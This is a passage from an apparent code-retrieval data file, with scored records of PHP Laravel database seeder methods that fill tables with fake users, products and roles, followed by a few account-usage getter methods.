$faker->randomFloat($nbMaxDecimals = 2, $min = -2, $max = 10.0),\n ]);\n }\n }", "title": "" }, { "docid": "1506f1139a748a04763396e2ad86ef7a", "score": "0.7710608", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n factory(Category::class,10)->create();\n factory(ProductType::class,20)->create();\n // factory(Product::class,150)->create();\n $this->call(ProductSeeder::class);\n\n }", "title": "" }, { "docid": "510b6a95b0bda8150598fcfcd5e0fa41", "score": "0.77091455", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n \n \\App\\User::truncate();\n \\App\\Category::truncate();\n \\App\\Product::truncate();\n \\App\\Transaction::truncate();\n\n \\App\\User::flushEventListeners();\n \\App\\Category::flushEventListeners();\n \\App\\Product::flushEventListeners();\n \\App\\Transaction::flushEventListeners();\n\n factory(\\App\\User::class,100)->create();\n factory(\\App\\Category::class,10)->create();\n factory(\\App\\Product::class,30)->create()->each(\n function ($product) {\n $categories = \\App\\Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n }\n );\n factory(\\App\\Transaction::class,10)->create();\n\n }", "title": "" }, { "docid": "2f62f5093b8e26beb38831e5bdf29130", "score": "0.7708483", "text": "public function run()\n {\n $faker = Faker::create();\n foreach (range(1,10) as $index) {\n DB::table('employees')->insert([\n 'id' => $index,\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'password' => Hash::make('12345678')\n ]);\n }\n $this->call(UserSeeder::class);\n }", "title": "" }, { "docid": "c31a689ff9ae8523f84c6d76cbc5c3ea", "score": "0.7707085", "text": "public function run()\n {\n $user = [\n 'name' => 'Heru Trijaya',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt(\"password\"),\n 'remember_token' => Str::random(10),\n 'created_at' => now(),\n ];\n DB::table('users')->insert($user);\n $user = [\n 'name' => 'John Doe',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt(\"password\"),\n 'remember_token' => Str::random(10),\n 'created_at' => now(),\n ];\n DB::table('users')->insert($user);\n \\App\\Models\\Author::factory(10)->create();\n \\App\\Models\\Book::factory(10)->create();\n }", "title": "" }, { "docid": "5b9bc9e211e20662e2eb7209dd7f3c70", "score": "0.7703563", "text": "public function run()\n {\n Student::factory(10)->create();\n Post::factory(10)->create();\n Category::factory(10)->create();\n Category_Post::factory(10)->create();\n Comment::factory(10)->create();\n // $this->call([\n // TableFirst::class,\n // SubjectTableSeeder::class,\n // ThuanSeeder::class,\n // ]);\n }", "title": "" }, { "docid": "134a3a3db82b46df656b48877e3819ce", "score": "0.77008", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n // Seed the Time Zones\n //$this->call(TimeZonesTableSeeder::class);\n\n // Seed the Languages\n $this->call(LanguagesTableSeeder::class);\n\n // Seed the countries\n $this->call(CountriesTableSeeder::class);\n\n // Seed the setting table\n $this->call(SettingsTableSeeder::class);\n\n // Seed the company & company translation\n //$this->call(CompanySeeder::class);\n\n // Seed Brand table\n //$this->call(BrandSeeder::class);\n\n // Seed Vehicle table\n //$this->call(VehicleSeeder::class);\n\n // Seed dealership group table\n //$this->call(GroupSeeder::class);\n\n // Seed Dealership table\n //$this->call(DealershipSeeder::class);\n\n // Seed Event type table\n //$this->call(EventTypeSeeder::class);\n\n // Seed Event table\n //$this->call(EventSeeder::class);\n\n // Seed Region table\n //$this->call(RegionSeeder::class);\n\n // Seed Brand Dealership table\n //$this->call(BrandDealershipSeeder::class);\n\n\n // Seed User table\n $this->call(UserSeeder::class);\n\n // Seed Guest table\n// $this->call(GuestSeeder::class);\n }", "title": "" }, { "docid": "c9cd9baaee4f0804b80ef0f6ae5ccbb6", "score": "0.7700753", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n User::create([\n 'email' => '[email protected]',\n 'name' => 'Ceci',\n 'password' => bcrypt('123456'),\n 'role' => 'U'\n ]);\n User::create([\n 'email' => '[email protected]',\n 'name' => 'Emmanuel',\n 'password' => bcrypt('123456'),\n 'role' => 'U'\n ]);\n User::create([\n 'email' => '[email protected]',\n 'name' => 'Fabián Montero',\n 'password' => bcrypt('123456'),\n 'role' => 'A'\n ]);\n User::create([\n 'email' => '[email protected]',\n 'name' => 'Santiago Montero',\n 'password' => bcrypt('123456'),\n 'role' => 'U'\n ]);\n }", "title": "" }, { "docid": "cf80c34d1b3a3ce834cad902d96a49ae", "score": "0.7695887", "text": "public function run()\n {\n \\App\\Models\\User::factory(10)->create();\n $this->call(DicRegionsTableSeeder::class);\n $this->call(DicCitiesTableSeeder::class);\n $this->call(AdCategoriesTableSeeder::class);\n Adverts::factory()->count(100)->create();\n }", "title": "" }, { "docid": "8d26d80f703923cebce1f22a4b67618a", "score": "0.76952183", "text": "public function run()\n {\n\n //Make roles and permissions\n\t Role::create(['name' => 'user']); // normal register user\n\t Role::create(['name' => 'owner']); // owner club user\n\t Role::create(['name' => 'manager']); // portal manager\n\t Role::create(['name' => 'admin']); // admin with full permission\n\n //Start other seeders.\n $this->call([\n MusicTypesTableSeeder::class,\n\t VoivodeshipsTableSeeder::class,\n\t CitiesTableSeeder::class,\n UsersTableSeeder::class,\n\t ClubsTableSeeder::class,\n\t EventsTableSeeder::class,\n\t UserSettingsSeeder::class\n ]);\n\n }", "title": "" }, { "docid": "d95416047e958fc5cae8011cf9c8b698", "score": "0.7695155", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker\\Factory::create();\n for ($i=0; $i < 20; $i++) { \n \tPost::create([\n \t\t'title'=> $faker->sentence,\n \t\t'body'=> implode('',$faker->sentences(4))\n \t\t]);\n }\n }", "title": "" }, { "docid": "58e1005fcab19ab4f45f7567ad4fbe32", "score": "0.76921916", "text": "public function run()\n {\n //factory(App\\Category::class, 5)->create();\n $this->call(PageSeeder::class);\n $this->call(TagSeeder::class);\n $this->call([\n CategorySeeder::class,\n ProductCategorySeeder::class,\n ProductTagSeeder::class,\n RelationshipSeeder::class,\n \n ]);\n factory(App\\Comment::class, 200)->create();\n factory(App\\User::class, 25)->create();\n //factory(App\\ProductCategory::class,5)->create();\n factory('App\\Post',50)->create();\n factory('App\\Product',80)->create();\n }", "title": "" }, { "docid": "07d21e2f0b22563e12932cf198047658", "score": "0.7690095", "text": "public function run()\n {\n $faker = Faker::create();\n $products = c2a(Product::lists('id'));\n $users = c2a(User::lists('id'));\n\n foreach (range(1, 20) as $index) {\n Topic::create([\n 'title' => $faker->sentence(6),\n 'slug' => $faker->name,\n 'product_id' => $faker->randomElement($products),\n 'user_id' => $faker->randomElement($users),\n 'keywords' => $faker->sentence,\n 'description' => $faker->sentence(10),\n 'content' => $faker->sentence(100),\n 'page_view_count' => rand(10, 3059),\n 'vote_count' => rand(0, 199),\n 'reply_count' => rand(0, 100)\n ]);\n }\n\n }", "title": "" }, { "docid": "454fbceec11c7288d6d51c17b75dacd8", "score": "0.7688257", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(\\App\\User::class, 1)->create([\n 'email' => '[email protected]',\n 'role' => \\App\\User::ROLE_ADMIN\n ]);\n\n factory(\\App\\User::class, 1)-> create([\n 'email' => '[email protected]'\n ]);\n\n $this->call(PostTableSeeder::class);\n $this->call(TbSinproAdminPermissaoSeeder::class);\n// factory(\\App\\Post::class, 20)->create();\n\n }", "title": "" }, { "docid": "201732e6ba9e0b6eef969d5379841fde", "score": "0.7688141", "text": "public function run()\n {\n //factory(\\App\\Models\\User::class, 10)->create();\n\n $users = \\App\\Models\\Role::all()->pluck('id')->toArray();\n\n /**\n * Creating seeder for every role\n */\n for ($i = 1; $i < (sizeof($users)); $i++) {\n DB::table('users')->insert([\n\n 'name' => 'Janko',\n 'email' => 'janko' . $i . '@gmail.com',\n 'surname' => 'Mrkvicka',\n 'password' => bcrypt('test123'),\n 'email_verified_at' => now(),\n 'id_role' => $users[$i - 1],\n 'created_at' => now(),]);\n }\n\n }", "title": "" }, { "docid": "d0ebc0b2fe28ccfde9a1ac80f9ebf4ad", "score": "0.768708", "text": "public function run()\n {\n $this->call(UserTableSeeder::class);\n // $this->call(MissionTableSeeder::class);\n factory(App\\Models\\Mission::class, 20)->create();\n factory(App\\Models\\Project::class, 20)->create();\n factory(App\\Models\\News::class, 20)->create();\n factory(App\\Models\\Event::class, 20)->create();\n }", "title": "" }, { "docid": "2603f00e40c258c840226bb9122a174d", "score": "0.76867145", "text": "public function run() {\n $this->call(AppConfigSeeder::class);\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n $this->call(TopicTableSeeder::class);\n $this->call(BankTableSeeder::class);\n $this->call(ProvinceTableSeeder::class);\n\n // factory(App\\Product::class, 100)\n // ->create()\n // ->each(function ($product) {\n // $product->fees()->saveMany(factory(App\\ProductFee::class, 3)->create([\n // 'product_id' => $product->id,\n // ]));\n // });\n }", "title": "" }, { "docid": "0e51afc722eeda1b1ce5a397b6fed9ba", "score": "0.76860857", "text": "public function run()\n {\n \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\ItemCondition::factory(10)->create();\n\n $this->call([\n PrimaryCategorySeeder::class,\n SecondaryCategorySeeder::class,\n // ItemConditionSeeder::class,\n ]);\n\n DB::table('users')->insert([\n 'name' => 'root',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'remember_token' => Str::random(10),\n 'password' => Hash::make('11111111'),\n ]);\n }", "title": "" }, { "docid": "869949cd0ca1c0b3e62d490a128b7a0b", "score": "0.76857895", "text": "public function run()\n {\n $this->call(ReputationsTableSeeder::class);\n $this->call(RolesTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(PublishersTableSeeder::class);\n $this->call(AuthorsTableSeeder::class);\n $this->call(TagsTableSeeder::class);\n $this->call(BooksTableSeeder::class);\n // $this->call(UserImagesTableSeeder::class);\n // $this->call(BookImagesTableSeeder::class);\n // $this->call(AuthorImagesTableSeeder::class);\n // $this->call(ScoresTableSeeder::class);\n\n $this->call(AuthorBookTableSeeder::class);\n $this->call(BookTagTableSeeder::class);\n // $this->call(RoleUserTablerSeeder::class);\n\n // factory(App\\User::class, 35)->create();\n\n // factory(App\\Score::class, 100)->create();\n\n factory(App\\Review::class, 35)->create();\n\n // factory(App\\ReviewResponse::class, 35)->create();\n\n $this->call(SocialMediasTableSeeder::class);\n }", "title": "" }, { "docid": "989db8f23e2aa4fc9b9956c2987e7b19", "score": "0.7683379", "text": "public function run()\n {\n $faker = \\Faker\\Factory::create('en_GB');\n\n \\App\\User::create([\n 'name' => env('ADMIN_NAME', ''),\n 'email' => env('ADMIN_EMAIL', ''),\n 'email_verified_at' => now(),\n 'password' => bcrypt(env('ADMIN_PASSWORD', '')),\n 'role' => 'admin',\n 'created_at' => now(),\n ]);\n\n // Added seed of random UK address data for ease\n for ($i = 0; $i < 10; $i++) \n {\n \\App\\Restaurant::create([\n 'name' => $faker->name,\n 'street' => $faker->streetName,\n 'city' => $faker->city,\n 'postcode' => $faker->postcode\n ]);\n }\n }", "title": "" }, { "docid": "ec07eb0122812cf17ee5e1ceaae51aeb", "score": "0.7680502", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n\n factory(Subscriber::class, 2)->create();\n factory(Shop::class, 10)->create();\n factory(Music::class, 10)->create();\n factory(Video::class, 2)->create();\n\n }", "title": "" }, { "docid": "51a1f86bae6860c0a7c4877c0fefde5c", "score": "0.76785475", "text": "public function run()\n {\n User::create([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('password')\n ]);\n User::create([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => bcrypt('password')\n ]);\n\n Companies::create([\n 'name' => 'Mark Zuckenberg',\n 'email' => '[email protected]',\n 'website' => 'https://www.facebook.com/'\n ]);\n\n Companies::create([\n 'name' => 'Kevin Systrom',\n 'email' => '[email protected]',\n 'website' => 'https://www.instagram.com/'\n ]);\n\n // Companies::factory(5)->create();\n\n Employees::factory(20)->create();\n }", "title": "" }, { "docid": "68c5a5f69b2f6ff14c735017c7d3ac07", "score": "0.76763934", "text": "public function run()\n {\n $this->call([\n ItemSeeder::class,\n PropertySeeder::class,\n ItemPropertiesSeeder::class,\n\n ]);\n /*\n \\App\\Models\\Item::factory(10)->create();\n \\App\\Models\\Property::factory(10)->create();\n \\App\\Models\\ItemProperties::factory(10)->create();\n */\n \\App\\Models\\User::create([\n 'name' => 'simple',\n 'email' => '[email protected]',\n 'password' =>Hash::make('simple'),\n ]);\n \n\n\n }", "title": "" }, { "docid": "040547254a75eaa4c796f44c64dd6435", "score": "0.76726955", "text": "public function run()\n {\n $user_ids = ['1','2','3','4','5'];\n\n\t\t$faker = app(Faker\\Generator::class);\n\n $posts = factory(Post::class)->times(50)->make()->each(function ($post) use ($faker, $user_ids) {\n $post->user_id = $faker->randomElement($user_ids);\n });\n\n Post::insert($posts->toArray());\n }", "title": "" }, { "docid": "bd269fc9c6211e950f76f57cd2214618", "score": "0.76678604", "text": "public function run()\n {\n\n $data = [\n ['name'=>'Computer Science'],\n ['name'=>'Pharmacy'],\n ['name'=>'Psychology'],\n ['name'=>'Medicine'],\n ['name'=>'Dentistry'],\n\n ];\n $faker = Faker::create();\n foreach($data as $d){\n DB::table('faculties')->insert([\n 'name' => $d['name'],\n 'description' => $faker->sentence,\n ]);\n }\n }", "title": "" }, { "docid": "b8157e614e83d25d500f4d94dffc10e8", "score": "0.76667905", "text": "public function run()\n {\n m_dosens::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n m_dosens::create([\n 'body' => $faker-> paragraph,\n 'id'=> $faker -> rand(),\n 'nama_dosen'=> $faker -> sentence,\n 'matkul'=> $faker -> sentence,\n 'ruang kelas' => $faker -> sentence,\n $table->timestamps(),\n ]);\n }\n }", "title": "" }, { "docid": "f3ec341e6252123b6f3f5aacac2d5793", "score": "0.7664834", "text": "public function run()\n {\n \\App\\Models\\Address::factory(20)->create(); // php artisan db:seed --class=AddressSeeder\n \\App\\Models\\User::factory(15)->create(); // php artisan db:seed --class=UserSeeder\n \\App\\Models\\Admin::factory(4)->create(); // php artisan db:seed --class=AdminSeeder\n \\App\\Models\\Client::factory(16)->create(); // php artisan db:seed --class=ClientSeeder\n \\App\\Models\\Unit::factory(5)->create(); // php artisan db:seed --class=UnitSeeder\n \\App\\Models\\Category::factory(13)->create(); // php artisan db:seed --class=CategorySeeder\n \\App\\Models\\Market::factory(20)->create(); // php artisan db:seed --class=MarketSeeder\n \\App\\Models\\Product::factory(30)->create(); // php artisan db:seed --class=ProductSeeder\n // \\App\\Models\\Rating::factory(10)->create(); // php artisan db:seed --class=RatingSeeder\n // \\App\\Models\\Price::factory(30)->create(50); // php artisan db:seed --class=PriceSeeder\n }", "title": "" }, { "docid": "e6df187fdede5a2fd76c7dced952e9f5", "score": "0.76642543", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'username' => 'Admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('Admin')\n ]);\n Author::factory(30)->create()->each(function($author){\n $volumes = Volum::factory(10)->make();\n $author->volums()->saveMany($volumes);\n });\n\n }", "title": "" }, { "docid": "c184051466e0849a143a12cd08517914", "score": "0.76604694", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n // DB::table('socios')->insert(['nombre'=>'pepe','dni'=>'12345678','direccion'=>'por ahi 222','nacimiento'=>'2020-10-10','email'=>'[email protected]','telefono'=>'456798456','url'=>'www.google.com']);\n // DB::table('socios')->insert(['nombre'=>'juan','dni'=>'12332378','direccion'=>'por allk 222','nacimiento'=>'2010-10-10','email'=>'[email protected]','telefono'=>'223242434','url'=>'www.google1.com']);\n \\App\\Models\\Estado::factory(3)->create();\n \\App\\Models\\Socios::factory(10)->create();\n //$this->call(SociosSeeder::class);\n }", "title": "" }, { "docid": "ffe63233202bdd209cfbffd2e2f07ebd", "score": "0.7660093", "text": "public function run()\n {\n Author::factory(50)->create();\n Books::factory(100)->create();\n $this->call(UserTableSeeder::class);\n $this->call(ShelveTableSeeder::class);\n $this->call(ShelveBookSeeder::class);\n }", "title": "" }, { "docid": "bb85cd62424281e6a7862cad3a9b9b5a", "score": "0.7659672", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'luoyinghao',\n 'email' => '[email protected]',\n 'group_id' => 1,\n 'status' => 1,\n 'password' => bcrypt('123456'),\n ]);\n\n DB::table('pet')->insert([\n 'name' => 'default',\n 'nick' => '弹幕娘',\n 'user_id' => 1,\n ]);\n\n DB::table('user_pet')->insert([\n 'user_id' => 1,\n 'pet_id' => 1,\n 'exp' => 1,\n ]);\n\n DB::table('event')->insert([\n 'sender' => '系统',\n 'sender_id' => 0,\n 'action' => 7,\n 'target' => 0,\n 'target_type' => 'announce',\n 'content' => '这是通告,通告听到了吗?听到了请回答,听到了请回答',\n 'type' => 'remind',\n 'receiver' => 0,\n 'is_read' => 1,\n 'time' => date('Y-m-d H:i:s')\n ]);\n\n }", "title": "" }, { "docid": "d200dedc6a0dba3a8fcc4d5cb3b5af61", "score": "0.7659325", "text": "public function run()\n {\n /* $this->call(UsersTableSeeder::class);\n $this->call(CollectoinsTableSeeder::class);\n $this->call(Extra_itemsTableSeeder::class);\n $this->call(AdditionalsTableSeeder::class);*/\n\n\n DB::table('roles')-> insert([\n [\n 'name' => 'Admin',\n 'alias' => 'admin',\n 'created_at' => date(\"Y-m-d H:i:s\")\n ],\n [\n 'name' => 'User',\n 'alias' => 'user',\n 'created_at' => date(\"Y-m-d H:i:s\")\n ]\n ]);\n\n\n }", "title": "" }, { "docid": "a5ce77c3e99f12ab19018d9164fdffc8", "score": "0.76591766", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $directors=factory(App\\Director::class)->times(7)->create();\n $movies=Movie::all();\n\n foreach ($movies as $oneMovies) {\n $oneMovies->director()->associate($directors->random(1)->first()->id);\n $oneMovies->save();\n }\n\n }", "title": "" }, { "docid": "d26cbbf9444f51683da0101c8bae9147", "score": "0.7656243", "text": "public function run()\n {\n //create a known demo user\n User::factory()->create([\n 'email' => '[email protected]'\n ]);\n\n $this->call([\n UserTableSeeder::class,\n ]);\n\n Quiz::factory()->count(20)->create()->each(function($c) {\n $c->mcqs()->saveMany(\n MCQ::factory()->count(random_int(10,50))->create()\n );\n });\n }", "title": "" }, { "docid": "5340b733c0c35d4a0890dae51ca9f01e", "score": "0.7655571", "text": "public function run()\n {\n $this->truncateUserTables();\n\n \\App\\Models\\User::firstOrCreate([\n 'name' => 'Admin User',\n 'email' => '[email protected]',\n 'password' => Hash::make('admin1123'),\n ]);\n\n $faker = Faker::create();\n\n foreach (range(1, 25) as $index) {\n \\App\\Models\\Student::create([\n 'fullname' => $faker->firstname,\n 'roll' => $index,\n 'propic' => null,\n ]);\n }\n }", "title": "" }, { "docid": "a48cd5bbd88c4d067c54457c50be726c", "score": "0.7653848", "text": "public function run()\n {\n $this->truncateTables([\n 'users',\n 'images',\n 'likes',\n 'comments'\n ]);\n \n User::factory(10)->create();\n Image::factory(10)->create();\n Like::factory(10)->create();\n Comment::factory(10)->create();\n\n $this->call([\n UserSeeder::class,\n ]);\n }", "title": "" }, { "docid": "786ba8399b50f481be52bd7398718a58", "score": "0.76531196", "text": "public function run()\n {\n //$this->call(CitySeeder::class);\n \n City::factory(12)->create();\n $this->call(VehicleSeeder::class);\n \n //$this->call(TelephoneSeeder::class);\n \n Telephone::factory(50)->create();\n Rental::factory(100)->create();\n\n }", "title": "" }, { "docid": "e6f06365d22e1b28b3bd14b58444dc04", "score": "0.76521194", "text": "public function run()\n {\n\n $faker = Faker::create();\n\n foreach(range(1,10) as $index){\n DB::table('iis_interpret')->insert([\n 'name' => $faker->sentence(3, true),\n 'members' => $faker->sentence(3, true),\n 'genre' => $faker->randomElement($array = array ('pop','rock','rap', 'metal', 'punk')),\n 'publisher' => $faker->word(),\n 'image' => $faker->imageUrl($width = 1280, $height = 720),\n 'description' => $faker->paragraph(2),\n 'formed_at' => $faker->date($format = 'Y-m-d H:i:s', $max = 'now'),\n 'created_at' => $faker->date($format = 'Y-m-d H:i:s', $max = 'now'),\n 'updated_at' => $faker->date($format = 'Y-m-d H:i:s', $max = 'now')\n ]);\n }\n\n }", "title": "" }, { "docid": "c8e097995b44d3b77d7922d45d3e7d18", "score": "0.7651747", "text": "public function run()\n {\n Model::unguard();\n\n // https://gist.github.com/isimmons/8202227\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n User::truncate();\n Category::truncate();\n Post::truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n\n $categories = factory(App\\Category::class, 30)->create();\n\n factory(App\\User::class, 10)->create()->each(function($user) use ($categories) {\n $user->posts()->saveMany(factory(App\\Post::class, 50)->create()->each(function($post) use ($categories) {\n $post->categories()->sync($categories->random(3)->pluck('id')->all());\n }));\n });\n\n Model::reguard();\n }", "title": "" }, { "docid": "b95080596763428b065e5fbdb7fdf0c5", "score": "0.7650356", "text": "public function run()\n {\n $faker \t= Factory::create('id_ID');\n \t$data \t= [];\n \tforeach (range(1,50) as $i) {\n \t\t$data[] = [\n \t\t\t'title' \t\t=> 'Beli Deposit',\n \t\t\t'content'\t\t=> 'Membeli deposit sebesar 50000',\n \t\t\t'user_id'\t\t=> '38',\n \t\t\t'created_at'\t=> $faker->datetime,\n \t\t\t'updated_at'\t=> now(),\n \t\t];\n \t}\n \tDB::statement('SET FOREIGN_KEY_CHECKS=0;');\n \tDB::table('activities')->truncate();\n \tDB::table('activities')->insert($data);\n }", "title": "" }, { "docid": "4caecf4e2dbd3c5accb7ad81244e8ae2", "score": "0.76480454", "text": "public function run()\n {\n // seed of perfis\n DB::table('perfis')->insert([\n [\n 'id' => 1,\n 'name' => 'admin',\n 'display_name' => 'Administrador',\n 'description' => 'Perfil de administrador',\n ],\n [\n 'id' => 2,\n 'name' => 'usuario',\n 'display_name' => 'Usuario',\n 'description' => 'Perfil do Usuario que aloca e compra imoveis.',\n ],\n ]);\n\n /**\n * Adicionar a permissao para os usurios da seed\n */\n DB::table('usuarios_perfis')->insert([\n [\n 'usuario_id' => 1,\n 'perfil_id' => 1\n ],\n [\n 'usuario_id' => 2,\n 'perfil_id' => 1\n ],\n [\n 'usuario_id' => 3,\n 'perfil_id' => 1\n ],\n [\n 'usuario_id' => 4,\n 'perfil_id' => 1\n ],\n [\n 'usuario_id' => 5,\n 'perfil_id' => 1\n ],\n [\n 'usuario_id' => 6,\n 'perfil_id' => 2\n ],\n ]);\n }", "title": "" }, { "docid": "4f4496d20543369fd27d03bb58fe3133", "score": "0.76468253", "text": "public function run()\n {\n $faker = app(Faker\\Generator::class);\n $user = User::find(1);\n\n $topics = factory(Topic::class)->times(rand(100, 200))->make()->each(function ($topic) use ($faker, $user) {\n $topic->user_id = 1;\n $topic->category_id = 1;\n $topic->is_excellent = rand(0, 1) ? 'yes' : 'no';\n });\n Topic::insert($topics->toArray());\n }", "title": "" }, { "docid": "4ac022527ef235783677bc6ef115503d", "score": "0.76461226", "text": "public function run()\n {\n $this->call(BlogArticlesCategoriesTableSeeder::class);\n $this->call(ProductsCategoriesTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(BlogEventsCategoriesTableSeeder::class);\n $this->call(ProductsTableSeeder::class);\n factory(\\App\\Models\\User::class, 50)->create();\n factory(\\App\\Models\\BlogEvent::class, 50)->create();\n factory(\\App\\Models\\BlogArticle::class, 50)->create();\n\n }", "title": "" }, { "docid": "8945612ec7a49f0f1852938590417f44", "score": "0.7646043", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('items')->insert([\n ['name' => '1 More E1001 Triple Driver IEM'],\n ['name' => '1 More E1001 Triple Driver IEM (Demo)'],\n ['name' => '1 More Piston Fit'],\n ['name' => 'ALO Litz MMCX 2.5'],\n ['name' => 'ATH-AR1iS'],\n ['name' => 'ATH-DSR7BT Black'],\n ['name' => 'ATH-LS50iS Black'],\n ['name' => 'ATH-LS70iS Black'],\n ]);\n }", "title": "" }, { "docid": "68bf7d23d85baec30f2ba67a6fa4e4b6", "score": "0.76455927", "text": "public function run()\n {\n $this->studentSkillsSeeder();\n $this->studentTagsSeeder();\n }", "title": "" }, { "docid": "8494dc0b48ead42c5e9f8183bb5471d3", "score": "0.76453424", "text": "public function run()\n {\n \\App\\User::truncate();\n $faker = Faker\\Factory::create();\n for($i=0;$i<50;$i++){\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'lastName' => $faker->lastName,\n 'email' => $faker->email,\n 'sex' => 'f',\n 'phone' => $faker->phoneNumber,\n 'pesel' => $faker->randomDigit,\n 'role' => 'user',\n 'password' => bcrypt('secret'),\n ]);\n }\n DB::table('users')->insert([\n 'name' => 'Sample',\n 'lastName' => 'Example',\n 'email' => \"[email protected]\",\n 'sex' => 'f',\n 'phone' => $faker->phoneNumber,\n 'pesel' => $faker->randomDigit,\n 'role' => 'admin',\n 'password' => bcrypt('secret'),\n ]);\n }", "title": "" } ]
c7998c7aaadc100b95910f11fc15ac19
Retrieve the account's current usage.
[ { "docid": "afa954c91a3ec9900d8505accad3581e", "score": "0.72415", "text": "public function getUsage()\n {\n $retval = [\n 'success' => false,\n 'data' => [],\n ];\n\n $response = $this->httpClient->get(\n \"{$this->getMetadataUrl()}account/usage\",\n [\n 'headers' => [\n 'Authorization' => \"Bearer {$this->token[\"access_token\"]}\",\n ],\n 'exceptions' => false,\n ]\n );\n\n $retval['data'] = json_decode((string)$response->getBody(), true);\n\n if ($response->getStatusCode() === 200) {\n $retval['success'] = true;\n }\n\n return $retval;\n }", "title": "" } ]
[ { "docid": "8499df3bf7bcbd192ecf5a0f7ff398b4", "score": "0.771762", "text": "public function getUsage()\n {\n $response = $this->client->request(\"GET\", \"user/usage\");\n return $this->getBodyContent($response);\n }", "title": "" }, { "docid": "e42d1cee8293ee35a8d59f20011858cd", "score": "0.75185764", "text": "public function getUsage()\n {\n return $this->usage;\n }", "title": "" }, { "docid": "e42d1cee8293ee35a8d59f20011858cd", "score": "0.75185764", "text": "public function getUsage()\n {\n return $this->usage;\n }", "title": "" }, { "docid": "22ca97742f2eebe7c2dda7c3de77e16a", "score": "0.6973952", "text": "public function getUsage();", "title": "" }, { "docid": "18066e7c7d2713cd06389fad8c6a9eeb", "score": "0.65903926", "text": "public function getUsage()\n {\n return null;\n }", "title": "" }, { "docid": "5bd30a89d68a0ae194643067c4280971", "score": "0.6522785", "text": "public function getUsedAttribute()\n {\n return $this->accounts()->get()->sum('used');\n }", "title": "" }, { "docid": "14892ab1be940d759a6f4a59fdecbf5d", "score": "0.6467005", "text": "public function getUsage()\n {\n return $this->getParameter('usage');\n }", "title": "" }, { "docid": "219a53ffce23d692ea7c72131c547cf3", "score": "0.6437712", "text": "public function getResourceUsage()\n {\n return $this->resource_usage;\n }", "title": "" }, { "docid": "968c612d4ce45643c941c637adc6f223", "score": "0.63608027", "text": "public function getUsageType()\n {\n return $this->usageType;\n }", "title": "" }, { "docid": "2328d6050950bff5c74cd66105df1b22", "score": "0.63598704", "text": "public function getTiUsage() {\n\t\treturn $this->tiUsage;\n\t}", "title": "" }, { "docid": "bc2ce38ffcb4b55f708207fe60b9f4a7", "score": "0.6302921", "text": "public function getRelativeUsage() {\r\n return $this->getUsed() / $this->getLimit();\r\n }", "title": "" }, { "docid": "b60a4ad7c3e907d6aa7576785894e9a7", "score": "0.6279197", "text": "public function getUsedAt()\n {\n return $this->usedAt;\n }", "title": "" }, { "docid": "421694f57ed1f5fd97cdae6fae78d545", "score": "0.6262219", "text": "public function getSpaceUsage()\n {\n return $this->spaceUsage->info();\n }", "title": "" }, { "docid": "91cbf1d8141d707e3db3888bd57ef716", "score": "0.6242088", "text": "public abstract function getUsageStatistics();", "title": "" }, { "docid": "eefe86bc68bca5e035cbb344ffc74136", "score": "0.61847466", "text": "public function getUsageLocation()\n {\n return $this->getProperty(\"UsageLocation\");\n }", "title": "" }, { "docid": "4afa33ff144522e8e84b7fe254c9809d", "score": "0.61777115", "text": "public function accountInfo()\r\n\t{\r\n\t\tif ($this->system == \"Backtest\") {\r\n\t\t\treturn $this->acctObj->accountInfo();\r\n\t\t\t\r\n\t\t} else {\r\n\t\t\t$acctInfo = $this->acctObj->account($this->oandaAccountId);\r\n\t\t\t$acctInfo->unrealizedPlPerc = sprintf(\"%.04f\", ($acctInfo->unrealizedPl / $acctInfo->balance * 100));\r\n\t\t\t$acctInfo->NAV = $acctInfo->balance + $acctInfo->unrealizedPl;\r\n\t\t\tusleep($this->usleepTime);\r\n\r\n\t\t\treturn $acctInfo;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "37fc924dcc769660534d6442c64b5653", "score": "0.6176888", "text": "public function getCurrentAccount()\n\t{\n\t\treturn Account::getCurrentAccount($this);\n\t}", "title": "" }, { "docid": "0e51512976cb97a57a9e739655bca9a4", "score": "0.6161468", "text": "public function userCpuUsage()\n {\n return $this->get('rusage-utime');\n }", "title": "" }, { "docid": "a7b9171be41cfd7d045026f37ee9ea99", "score": "0.61164266", "text": "private function calcUsage()\n\t{\n\t\t$Total = $this->totalUpdates = $this->totalCalls = 0;\n\t\t$Rows = $this->_db->fetchAll(\"SELECT * FROM bevomedia_adwords_api_usage\n\t\t\t\tLEFT JOIN bevomedia_accounts_adwords ON bevomedia_accounts_adwords.id = bevomedia_adwords_api_usage.accountsAdwordsId\n\t\t\t\tWHERE bevomedia_accounts_adwords.user__id =\" . $this->userId);\n\t\t\n\t\tforeach($Rows as 